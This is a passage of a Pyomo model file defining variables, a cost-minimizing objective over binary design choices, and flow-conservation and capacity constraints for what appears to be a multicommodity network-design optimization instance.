m.x658 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x659 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x660 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x661 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x662 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x663 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x664 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x665 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x666 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x667 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x668 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x669 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x670 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x671 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x672 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x673 = Var(within=Reals,bounds=(0,None),initialize=0)
m.obj = Objective(expr= 1.090016011*m.b547 + 3.10674202*m.b548 + 2.475702586*m.b549 + 1.966733944*m.b550
+ 1.090016011*m.b551 + 2.019536713*m.b552 + 3.10674202*m.b553 + 1.383540955*m.b554
+ 2.087059045*m.b555 + 3.720443668*m.b556 + 1.383540955*m.b557 + 1.794144217*m.b558
+ 3.50653318*m.b559 + 1.71812596*m.b560 + 3.834780538*m.b561 + 2.087059045*m.b562
+ 1.794144217*m.b563 + 2.239621249*m.b564 + 2.475702586*m.b565 + 2.019536713*m.b566
+ 3.720443668*m.b567 + 3.50653318*m.b568 + 2.239621249*m.b569 + 1.098732406*m.b570
+ 1.742557876*m.b571 + 1.098732406*m.b572 + 3.606882982*m.b573 + 1.71812596*m.b574
+ 2.074958698*m.b575 + 1.966733944*m.b576 + 2.074958698*m.b577 + 3.859970515*m.b578
+ 1.742557876*m.b579 + 3.859970515*m.b580 + 3.951460459*m.b581 + 3.834780538*m.b582
+ 3.606882982*m.b583 + 2.524064089*m.b584 + 2.524064089*m.b585 + 3.982701487*m.b586
+ 3.951460459*m.b587 + 3.982701487*m.b588, sense=minimize)
m.c2 = Constraint(expr= - m.x1 - m.x14 - m.x27 - m.x40 + m.x53 + m.x79 + m.x235 + m.x378 == -148)
m.c3 = Constraint(expr= - m.x2 - m.x15 - m.x28 - m.x41 + m.x54 + m.x80 + m.x236 + m.x379 == 12)
m.c4 = Constraint(expr= - m.x3 - m.x16 - m.x29 - m.x42 + m.x55 + m.x81 + m.x237 + m.x380 == 16)
m.c5 = Constraint(expr= - m.x4 - m.x17 - m.x30 - m.x43 + m.x56 + m.x82 + m.x238 + m.x381 == 21)
m.c6 = Constraint(expr= - m.x5 - m.x18 - m.x31 - m.x44 + m.x57 + m.x83 + m.x239 + m.x382 == 11)
m.c7 = Constraint(expr= - m.x6 - m.x19 - m.x32 - m.x45 + m.x58 + m.x84 + m.x240 + m.x383 == 24)
m.c8 = Constraint(expr= - m.x7 - m.x20 - m.x33 - m.x46 + m.x59 + m.x85 + m.x241 + m.x384 == 24)
m.c9 = Constraint(expr= - m.x8 - m.x21 - m.x34 - m.x47 + m.x60 + m.x86 + m.x242 + m.x385 == 8)
m.c10 = Constraint(expr= - m.x9 - m.x22 - m.x35 - m.x48 + m.x61 + m.x87 + m.x243 + m.x386 == 10)
m.c11 = Constraint(expr= - m.x10 - m.x23 - m.x36 - m.x49 + m.x62 + m.x88 + m.x244 + m.x387 == 18)
m.c12 = Constraint(expr= - m.x11 - m.x24 - m.x37 - m.x50 + m.x63 + m.x89 + m.x245 + m.x388 == 11)
m.c13 = Constraint(expr= - m.x12 - m.x25 - m.x38 - m.x51 + m.x64 + m.x90 + m.x246 + m.x389 == 20)
m.c14 = Constraint(expr= - m.x13 - m.x26 - m.x39 - m.x52 + m.x65 + m.x91 + m.x247 + m.x390 == 7)
m.c15 = Constraint(expr= m.x1 - m.x53 - m.x66 + m.x248 == 7)
m.c16 = Constraint(expr= m.x2 - m.x54 - m.x67 + m.x249 == -175)
m.c17 = Constraint(expr= m.x3 - m.x55 - m.x68 + m.x250 == 15)
m.c18 = Constraint(expr= m.x4 - m.x56 - m.x69 + m.x251 == 17)
m.c19 = Constraint(expr= m.x5 - m.x57 - m.x70 + m.x252 == 20)
m.c20 = Constraint(expr= m.x6 - m.x58 - m.x71 + m.x253 == 24)
m.c21 = Constraint(expr= m.x7 - m.x59 - m.x72 + m.x254 == 6)
m.c22 = Constraint(expr= m.x8 - m.x60 - m.x73 + m.x255 == 19)
m.c23 = Constraint(expr= m.x9 - m.x61 - m.x74 + m.x256 == 24)
m.c24 = Constraint(expr= m.x10 - m.x62 - m.x75 + m.x257 == 11)
m.c25 = Constraint(expr= m.x11 - m.x63 - m.x76 + m.x258 == 15)
m.c26 = Constraint(expr= m.x12 - m.x64 - m.x77 + m.x259 == 9)
m.c27 = Constraint(expr= m.x13 - m.x65 - m.x78 + m.x260 == 19)
m.c28 = Constraint(expr= m.x14 - m.x79 - m.x92 - m.x105 - m.x118 + m.x131 + m.x196 + m.x261 == 15)
m.c29 = Constraint(expr= m.x15 - m.x80 - m.x93 - m.x106 - m.x119 + m.x132 + m.x197 + m.x262 == 13)
m.c30 = Constraint(expr= m.x16 - m.x81 - m.x94 - m.x107 - m.x120 + m.x133 + m.x198 + m.x263 == -231)
m.c31 = Constraint(expr= m.x17 - m.x82 - m.x95 - m.x108 - m.x121 + m.x134 + m.x199 + m.x264 == 23)
m.c32 = Constraint(expr= m.x18 - m.x83 - m.x96 - m.x109 - m.x122 + m.x135 + m.x200 + m.x265 == 18)
m.c33 = Constraint(expr= m.x19 - m.x84 - m.x97 - m.x110 - m.x123 + m.x136 + m.x201 + m.x266 == 19)
m.c34 = Constraint(expr= m.x20 - m.x85 - m.x98 - m.x111 - m.x124 + m.x137 + m.x202 + m.x267 == 9)
m.c35 = Constraint(expr= m.x21 - m.x86 - m.x99 - m.x112 - m.x125 + m.x138 + m.x203 + m.x268 == 8)
m.c36 = Constraint(expr= m.x22 - m.x87 - m.x100 - m.x113 - m.x126 + m.x139 + m.x204 + m.x269 == 16)
m.c37 = Constraint(expr= m.x23 - m.x88 - m.x101 - m.x114 - m.x127 + m.x140 + m.x205 + m.x270 == 19)
m.c38 = Constraint(expr= m.x24 - m.x89 - m.x102 - m.x115 - m.x128 + m.x141 + m.x206 + m.x271 == 19)
m.c39 = Constraint(expr= m.x25 - m.x90 - m.x103 - m.x116 - m.x129 + m.x142 + m.x207 + m.x272 == 21)
m.c40 = Constraint(expr= m.x26 - m.x91 - m.x104 - m.x117 - m.x130 + m.x143 + m.x208 + m.x273 == 8)
m.c41 = Constraint(expr= m.x92 - m.x131 - m.x144 - m.x157 - m.x170 - m.x183 + m.x209 + m.x274 + m.x352 + m.x456 == 12)
m.c42 = Constraint(expr= m.x93 - m.x132 - m.x145 - m.x158 - m.x171 - m.x184 + m.x210 + m.x275 + m.x353 + m.x457 == 20)
m.c43 = Constraint(expr= m.x94 - m.x133 - m.x146 - m.x159 - m.x172 - m.x185 + m.x211 + m.x276 + m.x354 + m.x458 == 23)
m.c44 = Constraint(expr= m.x95 - m.x134 - m.x147 - m.x160 - m.x173 - m.x186 + m.x212 + m.x277 + m.x355 + m.x459
== -187)
m.c45 = Constraint(expr= m.x96 - m.x135 - m.x148 - m.x161 - m.x174 - m.x187 + m.x213 + m.x278 + m.x356 + m.x460 == 21)
m.c46 = Constraint(expr= m.x97 - m.x136 - m.x149 - m.x162 - m.x175 - m.x188 + m.x214 + m.x279 + m.x357 + m.x461 == 12)
m.c47 = Constraint(expr= m.x98 - m.x137 - m.x150 - m.x163 - m.x176 - m.x189 + m.x215 + m.x280 + m.x358 + m.x462 == 6)
m.c48 = Constraint(expr= m.x99 - m.x138 - m.x151 - m.x164 - m.x177 - m.x190 + m.x216 + m.x281 + m.x359 + m.x463 == 11)
m.c49 = Constraint(expr= m.x100 - m.x139 - m.x152 - m.x165 - m.x178 - m.x191 + m.x217 + m.x282 + m.x360 + m.x464
== 19)
m.c50 = Constraint(expr= m.x101 - m.x140 - m.x153 - m.x166 - m.x179 - m.x192 + m.x218 + m.x283 + m.x361 + m.x465 == 9)
m.c51 = Constraint(expr= m.x102 - m.x141 - m.x154 - m.x167 - m.x180 - m.x193 + m.x219 + m.x284 + m.x362 + m.x466
== 17)
m.c52 = Constraint(expr= m.x103 - m.x142 - m.x155 - m.x168 - m.x181 - m.x194 + m.x220 + m.x285 + m.x363 + m.x467
== 23)
m.c53 = Constraint(expr= m.x104 - m.x143 - m.x156 - m.x169 - m.x182 - m.x195 + m.x221 + m.x286 + m.x364 + m.x468
== 21)
m.c54 = Constraint(expr= m.x105 + m.x144 - m.x196 - m.x209 - m.x222 + m.x287 == 14)
m.c55 = Constraint(expr= m.x106 + m.x145 - m.x197 - m.x210 - m.x223 + m.x288 == 7)
m.c56 = Constraint(expr= m.x107 + m.x146 - m.x198 - m.x211 - m.x224 + m.x289 == 22)
m.c57 = Constraint(expr= m.x108 + m.x147 - m.x199 - m.x212 - m.x225 + m.x290 == 14)
m.c58 = Constraint(expr= m.x109 + m.x148 - m.x200 - m.x213 - m.x226 + m.x291 == -170)
m.c59 = Constraint(expr= m.x110 + m.x149 - m.x201 - m.x214 - m.x227 + m.x292 == 12)
m.c60 = Constraint(expr= m.x111 + m.x150 - m.x202 - m.x215 - m.x228 + m.x293 == 13)
m.c61 = Constraint(expr= m.x112 + m.x151 - m.x203 - m.x216 - m.x229 + m.x294 == 10)
m.c62 = Constraint(expr= m.x113 + m.x152 - m.x204 - m.x217 - m.x230 + m.x295 == 15)
m.c63 = Constraint(expr= m.x114 + m.x153 - m.x205 - m.x218 - m.x231 + m.x296 == 9)
m.c64 = Constraint(expr= m.x115 + m.x154 - m.x206 - m.x219 - m.x232 + m.x297 == 14)
m.c65 = Constraint(expr= m.x116 + m.x155 - m.x207 - m.x220 - m.x233 + m.x298 == 16)
m.c66 = Constraint(expr= m.x117 + m.x156 - m.x208 - m.x221 - m.x234 + m.x299 == 8)
m.c67 = Constraint(expr= m.x27 + m.x66 + m.x118 + m.x157 + m.x222 - m.x235 - m.x248 - m.x261 - m.x274 - m.x287
- m.x300 - m.x313 + m.x326 + m.x417 == 13)
m.c68 = Constraint(expr= m.x28 + m.x67 + m.x119 + m.x158 + m.x223 - m.x236 - m.x249 - m.x262 - m.x275 - m.x288
- m.x301 - m.x314 + m.x327 + m.x418 == 22)
m.c69 = Constraint(expr= m.x29 + m.x68 + m.x120 + m.x159 + m.x224 - m.x237 - m.x250 - m.x263 - m.x276 - m.x289
- m.x302 - m.x315 + m.x328 + m.x419 == 23)
m.c70 = Constraint(expr= m.x30 + m.x69 + m.x121 + m.x160 + m.x225 - m.x238 - m.x251 - m.x264 - m.x277 - m.x290
- m.x303 - m.x316 + m.x329 + m.x420 == 7)
m.c71 = Constraint(expr= m.x31 + m.x70 + m.x122 + m.x161 + m.x226 - m.x239 - m.x252 - m.x265 - m.x278 - m.x291
- m.x304 - m.x317 + m.x330 + m.x421 == 16)
m.c72 = Constraint(expr= m.x32 + m.x71 + m.x123 + m.x162 + m.x227 - m.x240 - m.x253 - m.x266 - m.x279 - m.x292
- m.x305 - m.x318 + m.x331 + m.x422 == -169)
m.c73 = Constraint(expr= m.x33 + m.x72 + m.x124 + m.x163 + m.x228 - m.x241 - m.x254 - m.x267 - m.x280 - m.x293
- m.x306 - m.x319 + m.x332 + m.x423 == 20)
m.c74 = Constraint(expr= m.x34 + m.x73 + m.x125 + m.x164 + m.x229 - m.x242 - m.x255 - m.x268 - m.x281 - m.x294
- m.x307 - m.x320 + m.x333 + m.x424 == 14)
m.c75 = Constraint(expr= m.x35 + m.x74 + m.x126 + m.x165 + m.x230 - m.x243 - m.x256 - m.x269 - m.x282 - m.x295
- m.x308 - m.x321 + m.x334 + m.x425 == 11)
m.c76 = Constraint(expr= m.x36 + m.x75 + m.x127 + m.x166 + m.x231 - m.x244 - m.x257 - m.x270 - m.x283 - m.x296
- m.x309 - m.x322 + m.x335 + m.x426 == 13)
m.c77 = Constraint(expr= m.x37 + m.x76 + m.x128 + m.x167 + m.x232 - m.x245 - m.x258 - m.x271 - m.x284 - m.x297
- m.x310 - m.x323 + m.x336 + m.x427 == 10)
m.c78 = Constraint(expr= m.x38 + m.x77 + m.x129 + m.x168 + m.x233 - m.x246 - m.x259 - m.x272 - m.x285 - m.x298
- m.x311 - m.x324 + m.x337 + m.x428 == 13)
m.c79 = Constraint(expr= m.x39 + m.x78 + m.x130 + m.x169 + m.x234 - m.x247 - m.x260 - m.x273 - m.x286 - m.x299
- m.x312 - m.x325 + m.x338 + m.x429 == 12)
m.c80 = Constraint(expr= m.x300 - m.x326 - m.x339 + m.x469 == 6)
m.c81 = Constraint(expr= m.x301 - m.x327 - m.x340 + m.x470 == 16)
m.c82 = Constraint(expr= m.x302 - m.x328 - m.x341 + m.x471 == 22)
m.c83 = Constraint(expr= m.x303 - m.x329 - m.x342 + m.x472 == 9)
m.c84 = Constraint(expr= m.x304 - m.x330 - m.x343 + m.x473 == 13)
m.c85 = Constraint(expr= m.x305 - m.x331 - m.x344 + m.x474 == 7)
m.c86 = Constraint(expr= m.x306 - m.x332 - m.x345 + m.x475 == -156)
m.c87 = Constraint(expr= m.x307 - m.x333 - m.x346 + m.x476 == 20)
m.c88 = Constraint(expr= m.x308 - m.x334 - m.x347 + m.x477 == 19)
m.c89 = Constraint(expr= m.x309 - m.x335 - m.x348 + m.x478 == 24)
m.c90 = Constraint(expr= m.x310 - m.x336 - m.x349 + m.x479 == 8)
m.c91 = Constraint(expr= m.x311 - m.x337 - m.x350 + m.x480 == 21)
m.c92 = Constraint(expr= m.x312 - m.x338 - m.x351 + m.x481 == 6)
m.c93 = Constraint(expr= m.x170 - m.x352 - m.x365 + m.x391 == 15)
m.c94 = Constraint(expr= m.x171 - m.x353 - m.x366 + m.x392 == 15)
m.c95 = Constraint(expr= m.x172 - m.x354 - m.x367 + m.x393 == 23)
m.c96 = Constraint(expr= m.x173 - m.x355 - m.x368 + m.x394 == 25)
m.c97 = Constraint(expr= m.x174 - m.x356 - m.x369 + m.x395 == 20)
m.c98 = Constraint(expr= m.x175 - m.x357 - m.x370 + m.x396 == 7)
m.c99 = Constraint(expr= m.x176 - m.x358 - m.x371 + m.x397 == 19)
m.c100 = Constraint(expr= m.x177 - m.x359 - m.x372 + m.x398 == -177)
m.c101 = Constraint(expr= m.x178 - m.x360 - m.x373 + m.x399 == 7)
m.c102 = Constraint(expr= m.x179 - m.x361 - m.x374 + m.x400 == 18)
m.c103 = Constraint(expr= m.x180 - m.x362 - m.x375 + m.x401 == 25)
m.c104 = Constraint(expr= m.x181 - m.x363 - m.x376 + m.x402 == 20)
m.c105 = Constraint(expr= m.x182 - m.x364 - m.x377 + m.x403 == 18)
m.c106 = Constraint(expr= m.x40 + m.x365 - m.x378 - m.x391 - m.x404 + m.x430 == 8)
m.c107 = Constraint(expr= m.x41 + m.x366 - m.x379 - m.x392 - m.x405 + m.x431 == 11)
m.c108 = Constraint(expr= m.x42 + m.x367 - m.x380 - m.x393 - m.x406 + m.x432 == 23)
m.c109 = Constraint(expr= m.x43 + m.x368 - m.x381 - m.x394 - m.x407 + m.x433 == 7)
m.c110 = Constraint(expr= m.x44 + m.x369 - m.x382 - m.x395 - m.x408 + m.x434 == 5)
m.c111 = Constraint(expr= m.x45 + m.x370 - m.x383 - m.x396 - m.x409 + m.x435 == 15)
m.c112 = Constraint(expr= m.x46 + m.x371 - m.x384 - m.x397 - m.x410 + m.x436 == 7)
m.c113 = Constraint(expr= m.x47 + m.x372 - m.x385 - m.x398 - m.x411 + m.x437 == 10)
m.c114 = Constraint(expr= m.x48 + m.x373 - m.x386 - m.x399 - m.x412 + m.x438 == -179)
m.c115 = Constraint(expr= m.x49 + m.x374 - m.x387 - m.x400 - m.x413 + m.x439 == 20)
m.c116 = Constraint(expr= m.x50 + m.x375 - m.x388 - m.x401 - m.x414 + m.x440 == 18)
m.c117 = Constraint(expr= m.x51 + m.x376 - m.x389 - m.x402 - m.x415 + m.x441 == 8)
m.c118 = Constraint(expr= m.x52 + m.x377 - m.x390 - m.x403 - m.x416 + m.x442 == 12)
m.c119 = Constraint(expr= m.x313 + m.x404 - m.x417 - m.x430 - m.x443 + m.x521 == 9)
m.c120 = Constraint(expr= m.x314 + m.x405 - m.x418 - m.x431 - m.x444 + m.x522 == 12)
m.c121 = Constraint(expr= m.x315 + m.x406 - m.x419 - m.x432 - m.x445 + m.x523 == 24)
m.c122 = Constraint(expr= m.x316 + m.x407 - m.x420 - m.x433 - m.x446 + m.x524 == 21)
m.c123 = Constraint(expr= m.x317 + m.x408 - m.x421 - m.x434 - m.x447 + m.x525 == 8)
m.c124 = Constraint(expr= m.x318 + m.x409 - m.x422 - m.x435 - m.x448 + m.x526 == 9)
m.c125 = Constraint(expr= m.x319 + m.x410 - m.x423 - m.x436 - m.x449 + m.x527 == 11)
m.c126 = Constraint(expr= m.x320 + m.x411 - m.x424 - m.x437 - m.x450 + m.x528 == 13)
m.c127 = Constraint(expr= m.x321 + m.x412 - m.x425 - m.x438 - m.x451 + m.x529 == 11)
m.c128 = Constraint(expr= m.x322 + m.x413 - m.x426 - m.x439 - m.x452 + m.x530 == -183)
m.c129 = Constraint(expr= m.x323 + m.x414 - m.x427 - m.x440 - m.x453 + m.x531 == 16)
m.c130 = Constraint(expr= m.x324 + m.x415 - m.x428 - m.x441 - m.x454 + m.x532 == 14)
m.c131 = Constraint(expr= m.x325 + m.x416 - m.x429 - m.x442 - m.x455 + m.x533 == 17)
m.c132 = Constraint(expr= m.x183 + m.x339 - m.x456 - m.x469 - m.x482 + m.x495 == 22)
m.c133 = Constraint(expr= m.x184 + m.x340 - m.x457 - m.x470 - m.x483 + m.x496 == 12)
m.c134 = Constraint(expr= m.x185 + m.x341 - m.x458 - m.x471 - m.x484 + m.x497 == 7)
m.c135 = Constraint(expr= m.x186 + m.x342 - m.x459 - m.x472 - m.x485 + m.x498 == 12)
m.c136 = Constraint(expr= m.x187 + m.x343 - m.x460 - m.x473 - m.x486 + m.x499 == 12)
m.c137 = Constraint(expr= m.x188 + m.x344 - m.x461 - m.x474 - m.x487 + m.x500 == 10)
m.c138 = Constraint(expr= m.x189 + m.x345 - m.x462 - m.x475 - m.x488 + m.x501 == 11)
m.c139 = Constraint(expr= m.x190 + m.x346 - m.x463 - m.x476 - m.x489 + m.x502 == 17)
m.c140 = Constraint(expr= m.x191 + m.x347 - m.x464 - m.x477 - m.x490 + m.x503 == 17)
m.c141 = Constraint(expr= m.x192 + m.x348 - m.x465 - m.x478 - m.x491 + m.x504 == 12)
m.c142 = Constraint(expr= m.x193 + m.x349 - m.x466 - m.x479 - m.x492 + m.x505 == -185)
m.c143 = Constraint(expr= m.x194 + m.x350 - m.x467 - m.x480 - m.x493 + m.x506 == 10)
m.c144 = Constraint(expr= m.x195 + m.x351 - m.x468 - m.x481 - m.x494 + m.x507 == 21)
m.c145 = Constraint(expr= m.x482 - m.x495 - m.x508 + m.x534 == 8)
m.c146 = Constraint(expr= m.x483 - m.x496 - m.x509 + m.x535 == 20)
m.c147 = Constraint(expr= m.x484 - m.x497 - m.x510 + m.x536 == 23)
m.c148 = Constraint(expr= m.x485 - m.x498 - m.x511 + m.x537 == 18)
m.c149 = Constraint(expr= m.x486 - m.x499 - m.x512 + m.x538 == 15)
m.c150 = Constraint(expr= m.x487 - m.x500 - m.x513 + m.x539 == 22)
m.c151 = Constraint(expr= m.x488 - m.x501 - m.x514 + m.x540 == 17)
m.c152 = Constraint(expr= m.x489 - m.x502 - m.x515 + m.x541 == 24)
m.c153 = Constraint(expr= m.x490 - m.x503 - m.x516 + m.x542 == 7)
m.c154 = Constraint(expr= m.x491 - m.x504 - m.x517 + m.x543 == 16)
m.c155 = Constraint(expr= m.x492 - m.x505 - m.x518 + m.x544 == 24)
m.c156 = Constraint(expr= m.x493 - m.x506 - m.x519 + m.x545 == -200)
m.c157 = Constraint(expr= m.x494 - m.x507 - m.x520 + m.x546 == 8)
m.c158 = Constraint(expr= m.x443 + m.x508 - m.x521 - m.x534 == 19)
m.c159 = Constraint(expr= m.x444 + m.x509 - m.x522 - m.x535 == 15)
m.c160 = Constraint(expr= m.x445 + m.x510 - m.x523 - m.x536 == 10)
m.c161 = Constraint(expr= m.x446 + m.x511 - m.x524 - m.x537 == 13)
m.c162 = Constraint(expr= m.x447 + m.x512 - m.x525 - m.x538 == 11)
m.c163 = Constraint(expr= m.x448 + m.x513 - m.x526 - m.x539 == 8)
m.c164 = Constraint(expr= m.x449 + m.x514 - m.x527 - m.x540 == 13)
m.c165 = Constraint(expr= m.x450 + m.x515 - m.x528 - m.x541 == 23)
m.c166 = Constraint(expr= m.x451 + m.x516 - m.x529 - m.x542 == 23)
m.c167 = Constraint(expr= m.x452 + m.x517 - m.x530 - m.x543 == 14)
m.c168 = Constraint(expr= m.x453 + m.x518 - m.x531 - m.x544 == 8)
m.c169 = Constraint(expr= m.x454 + m.x519 - m.x532 - m.x545 == 25)
m.c170 = Constraint(expr= m.x455 + m.x520 - m.x533 - m.x546 == -157)
m.c171 = Constraint(expr= - m.x1 - m.x2 - m.x3 - m.x4 - m.x5 - m.x6 - m.x7 - m.x8 - m.x9 - m.x10 - m.x11 - m.x12 - m.x13
+ m.x632 >= 0)
m.c172 = Constraint(expr= - m.x14 - m.x15 - m.x16 - m.x17 - m.x18 - m.x19 - m.x20 - m.x21 - m.x22 - m.x23 - m.x24
- m.x25 - m.x26 + m.x633 >= 0)
m.c173 = Constraint(expr= - m.x27 - m.x28 - m.x29 - m.x30 - m.x31 - m.x32 - m.x33 - m.x34 - m.x35 - m.x36 - m.x37
- m.x38 - m.x39 + m.x634 >= 0)
m.c174 = Constraint(expr= - m.x40 - m.x41 - m.x42 - m.x43 - m.x44 - m.x45 - m.x46 - m.x47 - m.x48 - m.x49 - m.x50
- m.x51 - m.x52 + m.x635 >= 0)
m.c175 = Constraint(expr= - m.x53 - m.x54 - m.x55 - m.x56 - m.x57 - m.x58 - m.x59 - m.x60 - m.x61 - m.x62 - m.x63
- m.x64 - m.x65 + m.x636 >= 0)
m.c176 = Constraint(expr= - m.x66 - m.x67 - m.x68 - m.x69 - m.x70 - m.x71 - m.x72 - m.x73 - m.x74 - m.x75 - m.x76
- m.x77 - m.x78 + m.x637 >= 0)
m.c177 = Constraint(expr= - m.x79 - m.x80 - m.x81 - m.x82 - m.x83 - m.x84 - m.x85 - m.x86 - m.x87 - m.x88 - m.x89
- m.x90 - m.x91 + m.x638 >= 0)
m.c178 = Constraint(expr= - m.x92 - m.x93 - m.x94 - m.x95 - m.x96 - m.x97 - m.x98 - m.x99 - m.x100 - m.x101 - m.x102
- m.x103 - m.x104 + m.x639 >= 0)
m.c179 = Constraint(expr= - m.x105 - m.x106 - m.x107 - m.x108 - m.x109 - m.x110 - m.x111 - m.x112 - m.x113 - m.x114
- m.x115 - m.x116 - m.x117 + m.x640 >= 0)
m.c180 = Constraint(expr= - m.x118 - m.x119 - m.x120 - m.x121 - m.x122 - m.x123 - m.x124 - m.x125 - m.x126 - m.x127
- m.x128 - m.x129 - m.x130 + m.x641 >= 0)
m.c181 = Constraint(expr= - m.x131 - m.x132 - m.x133 - m.x134 - m.x135 - m.x136 - m.x137 - m.x138 - m.x139 - m.x140
- m.x141 - m.x142 - m.x143 + m.x642 >= 0)
m.c182 = Constraint(expr= - m.x144 - m.x145 - m.x146 - m.x147 - m.x148 - m.x149 - m.x150 - m.x151 - m.x152 - m.x153
- m.x154 - m.x155 - m.x156 + m.x643 >= 0)
m.c183 = Constraint(expr= - m.x157 - m.x158 - m.x159 - m.x160 - m.x161 - m.x162 - m.x163 - m.x164 - m.x165 - m.x166
- m.x167 - m.x168 - m.x169 + m.x644 >= 0)
m.c184 = Constraint(expr= - m.x170 - m.x171 - m.x172 - m.x173 - m.x174 - m.x175 - m.x176 - m.x177 - m.x178 - m.x179
- m.x180 - m.x181 - m.x182 + m.x645 >= 0)
m.c185 = Constraint(expr= - m.x183 - m.x184 - m.x185 - m.x186 - m.x187 - m.x188 - m.x189 - m.x190 - m.x191 - m.x192
- m.x193 - m.x194 - m.x195 + m.x646 >= 0)
m.c186 = Constraint(expr= - m.x196 - m.x197 - m.x198 - m.x199 - m.x200 - m.x201 - m.x202 - m.x203 - m.x204 - m.x205
- m.x206 - m.x207 - m.x208 + m.x647 >= 0)
m.c187 = Constraint(expr= - m.x209 - m.x210 - m.x211 - m.x212 - m.x213 - m.x214 - m.x215 - m.x216 - m.x217 - m.x218
- m.x219 - m.x220 - m.x221 + m.x648 >= 0)
m.c188 = Constraint(expr= - m.x222 - m.x223 - m.x224 - m.x225 - m.x226 - m.x227 - m.x228 - m.x229 - m.x230 - m.x231
- m.x232 - m.x233 - m.x234 + m.x649 >= 0)
m.c189 = Constraint(expr= - m.x235 - m.x236 - m.x237 - m.x238 - m.x239 - m.x240 - m.x241 - m.x242 - m.x243 - m.x244
- m.x245 - m.x246 - m.x247 + m.x650 >= 0)
m.c190 = Constraint(expr= - m.x248 - m.x249 - m.x250 - m.x251 - m.x252 - m.x253 - m.x254 - m.x255 - m.x256 - m.x257
- m.x258 - m.x259 - m.x260 + m.x651 >= 0)
m.c191 = Constraint(expr= - m.x261 - m.x262 - m.x263 - m.x264 - m.x265 - m.x266 - m.x267 - m.x268 - m.x269 - m.x270
- m.x271 - m.x272 - m.x273 + m.x652 >= 0)
m.c192 = Constraint(expr= - m.x274 - m.x275 - m.x276 - m.x277 - m.x278 - m.x279 - m.x280 - m.x281 - m.x282 - m.x283
- m.x284 - m.x285 - m.x286 + m.x653 >= 0)
m.c193 = Constraint(expr= - m.x287 - m.x288 - m.x289 - m.x290 - m.x291 - m.x292 - m.x293 - m.x294 - m.x295 - m.x296
- m.x297 - m.x298 - m.x299 + m.x654 >= 0)
m.c194 = Constraint(expr= - m.x300 - m.x301 - m.x302 - m.x303 - m.x304 - m.x305 - m.x306 - m.x307 - m.x308 - m.x309
- m.x310 - m.x311 - m.x312 + m.x655 >= 0)
m.c195 = Constraint(expr= - m.x313 - m.x314 - m.x315 - m.x316 - m.x317 - m.x318 - m.x319 - m.x320 - m.x321 - m.x322
- m.x323 - m.x324 - m.x325 + m.x656 >= 0)
m.c196 = Constraint(expr= - m.x326 - m.x327 - m.x328 - m.x329 - m.x330 - m.x331 - m.x332 - m.x333 - m.x334 - m.x335
- m.x336 - m.x337 - m.x338 + m.x657 >= 0)
m.c197 = Constraint(expr= - m.x339 - m.x340 - m.x341 - m.x342 - m.x343 - m.x344 - m.x345 - m.x346 - m.x347 - m.x348
- m.x349 - m.x350 - m.x351 + m.x658 >= 0)
m.c198 = Constraint(expr= - m.x352 - m.x353 - m.x354 - m.x355 - m.x356 - m.x357 - m.x358 - m.x359 - m.x360 - m.x361
- m.x362 - m.x363 - m.x364 + m.x659 >= 0)
m.c199 = Constraint(expr= - m.x365 - m.x366 - m.x367 - m.x368 - m.x369 - m.x370 - m.x371 - m.x372 - m.x373 - m.x374
- m.x375 - m.x376 - m.x377 + m.x660 >= 0)
m.c200 = Constraint(expr= - m.x378 - m.x379 - m.x380 - m.x381 - m.x382 - m.x383 - m.x384 - m.x385 - m.x386 - m.x387
- m.x388 - m.x389 - m.x390 + m.x661 >= 0)
m.c201 = Constraint(expr= - m.x391 - m.x392 - m.x393 - m.x394 - m.x395 - m.x396 - m.x397 - m.x398 - m.x399 - m.x400
- m.x401 - m.x402 - m.x403 + m.x662 >= 0)
m.c202 = Constraint(expr= - m.x404 - m.x405 - m.x406 - m.x407 - m.x408 - m.x409 - m.x410 - m.x411 - m.x412 - m.x413
- m.x414 - m.x415 - m.x416 + m.x663 >= 0)
m.c203 = Constraint(expr= - m.x417 - m.x418 - m.x419 - m.x420 - m.x421 - m.x422 - m.x423 - m.x424 - m.x425 - m.x426
- m.x427 - m.x428 - m.x429 + m.x664 >= 0)
m.c204 = Constraint(expr= - m.x430 - m.x431 - m.x432 - m.x433 - m.x434 - m.x435 - m.x436 - m.x437 - m.x438 - m.x439
- m.x440 - m.x441 - m.x442 + m.x665 >= 0)
m.c205 = Constraint(expr= - m.x443 - m.x444 - m.x445 - m.x446 - m.x447 - m.x448 - m.x449 - m.x450 - m.x451 - m.x452
- m.x453 - m.x454 - m.x455 + m.x666 >= 0)
m.c206 = Constraint(expr= - m.x456 - m.x457 - m.x458 - m.x459 - m.x460 - m.x461 - m.x462 - m.x463 - m.x464 - m.x465
- m.x466 - m.x467 - m.x468 + m.x667 >= 0)
m.c207 = Constraint(expr= - m.x469 - m.x470 - m.x471 - m.x472 - m.x473 - m.x474 - m.x475 - m.x476 - m.x477 - m.x478
- m.x479 - m.x480 - m.x481 + m.x668 >= 0)
m.c208 = Constraint(expr= - m.x482 - m.x483 - m.x484 - m.x485 - m.x486 - m.x487 - m.x488 - m.x489 - m.x490 - m.x491
- m.x492 - m.x493 - m.x494 + m.x669 >= 0)
m.c209 = Constraint(expr= - m.x495 - m.x496 - m.x497 - m.x498 - m.x499 - m.x500 - m.x501 - m.x502 - m.x503 - m.x504
- m.x505 - m.x506 - m.x507 + m.x670 >= 0)
m.c210 = Constraint(expr= - m.x508 - m.x509 - m.x510 - m.x511 - m.x512 - m.x513 - m.x514 - m.x515 - m.x516 - m.x517
- m.x518 - m.x519 - m.x520 + m.x671 >= 0)
m.c211 = Constraint(expr= - m.x521 - m.x522 - m.x523 - m.x524 - m.x525 - m.x526 - m.x527 - m.x528 - m.x529 - m.x530
- m.x531 - m.x532 - m.x533 + m.x672 >= 0)
